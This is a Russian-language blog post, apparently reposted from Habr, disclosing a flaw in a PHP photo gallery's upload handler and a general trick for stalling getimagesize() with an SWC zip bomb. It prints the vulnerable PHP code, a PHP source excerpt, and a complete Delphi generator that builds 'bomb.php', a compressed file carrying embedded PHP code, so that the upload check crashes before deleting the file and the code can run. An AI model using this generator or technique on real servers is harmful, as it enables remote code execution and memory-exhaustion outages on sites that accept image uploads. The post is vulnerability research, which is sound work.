Опасный getimagesize() или Zip Bomb для PHP

от автора

Рекурсия

В Питер снова пришла осень, и рабочее настроение, которое подвергалось постоянной атаке солнечной радиации вот уже целую неделю, решило, что с него хватит, и улетело в ещё не задраенную форточку.

«Отлично, — подумал я, — самое время поковырять какой-нибудь движок, пока оно не вернулось!»

Сказано — сделано. Под катом предлагаю небольшой обзор уязвимости в распространённом движке фото-галереи на PHP и о том, как можно положить любой сайт, использующий getimagesize(), с помощью бородатой zip-бомбы (или пета-бомбы).

Как известно, целью любого взлома является бочка мёда попытка утащить что-нибудь — либо с клиентской стороны (имеем в виду XSS), либо с серверной (имеем в виду RCE, Remote Code Execution). Последнее, конечно, связано с приятным общением куда более перспективно — имея возможность выполнять код (shell.php aka «eBay Style») можно утянуть всю пользовательскую базу, а заодно и добавить пару-тройку XSS.

Самая прямая дорога к RCE — возможность загрузки файлов на сервер. Это можно делать под разными соусами — чаще всего в виде котиков… прошу прощения, изображений. В самом деле, сегодня любой уважающий себя форум или соцсеть позволяет нам загружать как минимум аватары.

Но мало просто загрузить код на сервер — нужно заставить его (сервер) выполнить этот код. Здесь на помощь строителям демократии приходят и проблемы с настройкой try_files в nginx, и обрезание строки с помощью %00, и даже банальный обход проверки MIME и загрузки *.php напрямую (но это совсем тяжёлый случай, движки, грешащие этим, скорее всего имеют ещё пару десятков других дыр).

И даже когда код загружен и имеет ненужное расширение — его ещё нужно найти. Часто движки генерируют имена файлов случайным образом, иногда — последовательно на основе ID записи в БД. Однако обычно это меньшая проблема, чем собственно загрузка самого скрипта.

Как видим, возможностей усложнить жизнь хакера — хоть отбавляй. Однако иногда встречаются весьма забавные косяки, и об одном из таких ниже.

Когда размер имеет значение

В рассматриваемом мной движке за загрузку файлов отвечает всего одна функция и начинается она так:

function process_upload($upload) {   $ext = explode('.', $upload['name']);   $ext = strtolower($ext[count($ext)-1]);   $filename = md5_file($upload['tmp_name']);      move_uploaded_file($upload['tmp_name'], 'temp/'.$filename.'.'.$ext);   $info = getimagesize('temp/'.$filename.'.'.$ext);      $tmp_ext = str_replace('image/', '', $info['mime']);   if ($ext != $tmp_ext) {     rename('temp/'.$filename.'.'.$ext, 'temp/'.$filename.'.'.$tmp_ext);     $ext = $tmp_ext;   }      if ($ext != 'jpg' && $ext != 'jpeg' && $ext != 'gif' && $ext != 'png') {     unlink('temp/'.$filename.'.'.$ext);     return false;   }   // Проверки пройдены, далее обработка легитимной загрузки. 

Функция process_upload() на вход получает запись из $_FILES — то есть массив такого формата:

$upload = array(   'name' => 'локальное_имя.jpg',    'tmp_name' => '/var/tmp/php-upload.temp',  ) 

Как видим, здесь происходит следующее:

  1. Генерация имени конечного файла по его содержимому (aka md5sum $tmp_name)
  2. Добавление к этому имени оригинального расширения
  3. Перемещение загруженного файла во временную папку по этому имени; папка видна извне как http://example.com/temp/
  4. Проверка формата файла — если расширение отличается от того, которое соответствует формату, то файл во временной папке переименовывается под «настоящее» расширение
  5. Если файл — не изображение — он удаляется

Для нас крайне интересно происходящее между пунктом 3 и 4. Между проверкой на вшивость на формат файла и удалением этого файла есть как минимум две операции: вызов getimagesize() и rename(). Последний нас мало интересует — он действительно работает быстро, или не работает — но тогда PHP выдаёт предупреждение и следом выполняется unlink(), который заметает следы.

А вот getimagesize() нас очень даже волнует. Можно ли заставить её «подождать», пока мы запустим наш скрипт в temp?

Use the sources, Luke

Проверка на формат файла — потенциально сложная операция. Эта функция существует в PHP уже с десяток лет, ей не нужна библиотека GD и она включена во все сборки интерпретатора. Она поддерживает 20 форматов и код её модуля занимает почти 1500 строчек. Естественно, там должно быть что-то, что мы сможем проэксплуатировать.

Как всякое дело начинается с хорошо продуманного плана, так всякий white box-пентест начинается с исходников. Интересующий нас модуль — php-5.5.12\ext\standard\image.c. После нескольких минут изучения кода я наткнулся на очень интересную функцию, которая работает с форматом SWC — Shockwave Flash Compressed (я про такой слышу впервые). А именно:

// При вызове функции курсор stream находится на 4-м байте, после магической подписи 'CWS'. static struct gfxinfo *php_handle_swc(php_stream * stream TSRMLS_DC) { struct gfxinfo *result = NULL;  long bits; unsigned char a[64]; unsigned long len=64, szlength; int factor=1,maxfactor=16; int slength, status=0; char *b, *buf=NULL, *bufz=NULL;  b = ecalloc (1, len + 1);  if (php_stream_seek(stream, 5, SEEK_CUR))     return NULL;  if (php_stream_read(stream, a, sizeof(a)) != sizeof(a))     return NULL;  if (uncompress(b, &len, a, sizeof(a)) != Z_OK) {     /* failed to decompress the file, will try reading the rest of the file */     if (php_stream_seek(stream, 8, SEEK_SET))         return NULL;      slength = php_stream_copy_to_mem(stream, &bufz, PHP_STREAM_COPY_ALL, 0);          /*      * zlib::uncompress() wants to know the output data length      * if none was given as a parameter      * we try from input length * 2 up to input length * 2^8      * doubling it whenever it wasn't big enough      * that should be eneugh for all real life cases     */          do {         szlength=slength*(1<<factor++);         buf = (char *) erealloc(buf,szlength);         status = uncompress(buf, &szlength, bufz, slength);     } while ((status==Z_BUF_ERROR)&&(factor<maxfactor)); 

Код интересен тем, что при неудачной попытке распаковать первые 64 байта после заголовка (то есть начиная с 0x08) он войдёт в цикл, пытаясь распаковать весь входной буфер до 9 раз. Это должно быть ресурсоёмкой операцией и должно дать нам пару сотен миллисекунд для перехода на наш скрипт. А там хоть потоп.

… Спустя полчаса различных надругательств над сжатыми данными я так и не смог добавиться какой-либо существенной задержки. То ли моя система слишком быстрая, то ли и правда разжать пару сотен мегабайт 8 раз подряд для Zlib — не большая проблема. Я уже готов был двинуться на поиски следующей уязвимости, как…

«Постойте… пару сотен мегабайт?»

Facepalm

640 петабайт хватит для всех

Кто помнит — в начале 2000-х этим способом ложили некоторые почтовые сервера, которые пытались отфильтровать архивы с нежелательным содержимым. Суть атаки проста: если алгоритм сжатия, подобный LZ, проходит по сжимаемому потоку, находя в нём уже встреченные ранее фрагменты и заменяя их на ссылки (скажем, двухбайтовые), то мы можем создать такой архив, который на каждые 4 байта (2 для смещения и 2 для длины) сжатых данных будет создавать 65536 разжатых байт. Таким образом, 4 килобайта после распаковки станут 64 мегабайтами. Достаточно забить весь входной файл одним и тем же символом. Это упрощённо.

На практике реальный LZ будет действовать не так эффективно, но даже без всяких ухищрений простым zip мы можем получить файл в 10 Мб из исходного файла с нулями в 11 Гб.

PHP по умолчанию настроен на максимальную загрузку файла в 2 Мб и максимально доступную скрипту память в 128 Мб. Легко подсчитать, что двухмегабайтовый архив потребует где-то один гигабайт памяти для распаковки. Часто сервера настраивают для допуска 5-10 мегабайтовых файлов, особенно если это касается файловых хранилищ… или фото-галерей.

Возвращаясь к нашим котикам. Как видно по коду функции php_handle_swc, нам достаточно создать файл следующего вида:

0000h: 43 57 53 00 00 00 00 00 78 DA  CWS.....xÚ 

Первые 3 байта — магическая подпись SWC, следующие 5 — заголовок (в php_handle_swc не используется), а затем идёт сжатый Zlib-поток. Здесь он начинается с 78 DA, что соответствует максимальной степени сжатия.

Нам достаточно испортить какой-то фрагмент данных в сжатом потоке и PHP войдёт в цикл распаковки, попытается распаковать нашу «бомбу», у скрипта закончится выделенная память — и… интерпритатор прервёт его выполнение!

Это означает, что try..catch (если бы он был) не будет вызван и не сможет обработать исключение — удалив наш файл, например — и только если скрипт установил свой обработчик register_shutdown_handler(), то он будет вызван и там можно будет отследить исключение. Но обычно этого не делают, так как это не совсем «логичная» логика. Хотя и в духе старого PHP.

(Для полноты картины надо сказать, что поддержка Zlib в PHP может быть отключена, и как следствие поддержка SWC в getimagesize() — тоже. Однако большинство серверов используют Zlib.)

Генератор «бомбы» на моём любимом Delphi:

program BombSWC;  {$APPTYPE CONSOLE}  uses ZLibEx, Classes;  const   Header = 'CWS'#0#0#0#0#0; var   I: Integer;   Input: String;   Buf: Pointer;   Stream: TFileStream; begin   SetLength(Input, 800 * 1024 * 1024);    // 800 ??.   FillChar(Input[1], Length(Input), 0);   ZCompress(@Input[1], Length(Input), Buf, I, zcMax);    Stream := TFileStream.Create('bomb.php', fmCreate);   Stream.WriteBuffer(Header[1], Length(Header));   Stream.WriteBuffer(Buf^, I);   Stream.Seek(-1000, soFromEnd);   Input := '<?php phpinfo();?>';   Stream.WriteBuffer(Input[1], Length(Input));   Stream.Free; end. 

В итоге из 800 Мб получаем 796 Кб и выглядят они так:

0:0000h: 43 57 53 00 00 00 00 00 78 DA EC C1 01 01 00 00  CWS.....xÚìÁ....  0:0010h: 00 80 90 FE AF EE 08 0A 00 00 00 00 00 00 00 00  .€ ... сжатый поток ... C:6D00h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................  C:6D10h: 00 00 00 00 3C 3F 70 68 70 20 70 68 70 69 6E 66  ....<?php phpinf  C:6D20h: 6F 28 29 3B 3F 3E 00 00 00 00 00 00 00 00 00 00  o();?>..........  C:6D30h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................  ... ещё немного сжатых байт ... C:70E0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................  C:70F0h: 00 00 00 00 00 00 BF 00 EE 1E 00 01              ......¿.î... 

Файл выше — корректный PHP-скрипт, кто не верит может убедиться. Да, он выведет мусор в начале и в конце, но это не помешает ему выполниться.

Осталось только загрузить нашу «картинку» на сервер…

Fatal error: Allowed memory size of 536870912 bytes exhausted (tried to allocate 834916352 bytes)

Pwned

— General Protection Fault —

Публиковать ли ещё статьи об уязвимостях?

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Никто ещё не голосовал. Воздержавшихся нет.

ссылка на оригинал статьи http://habrahabr.ru/post/224351/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *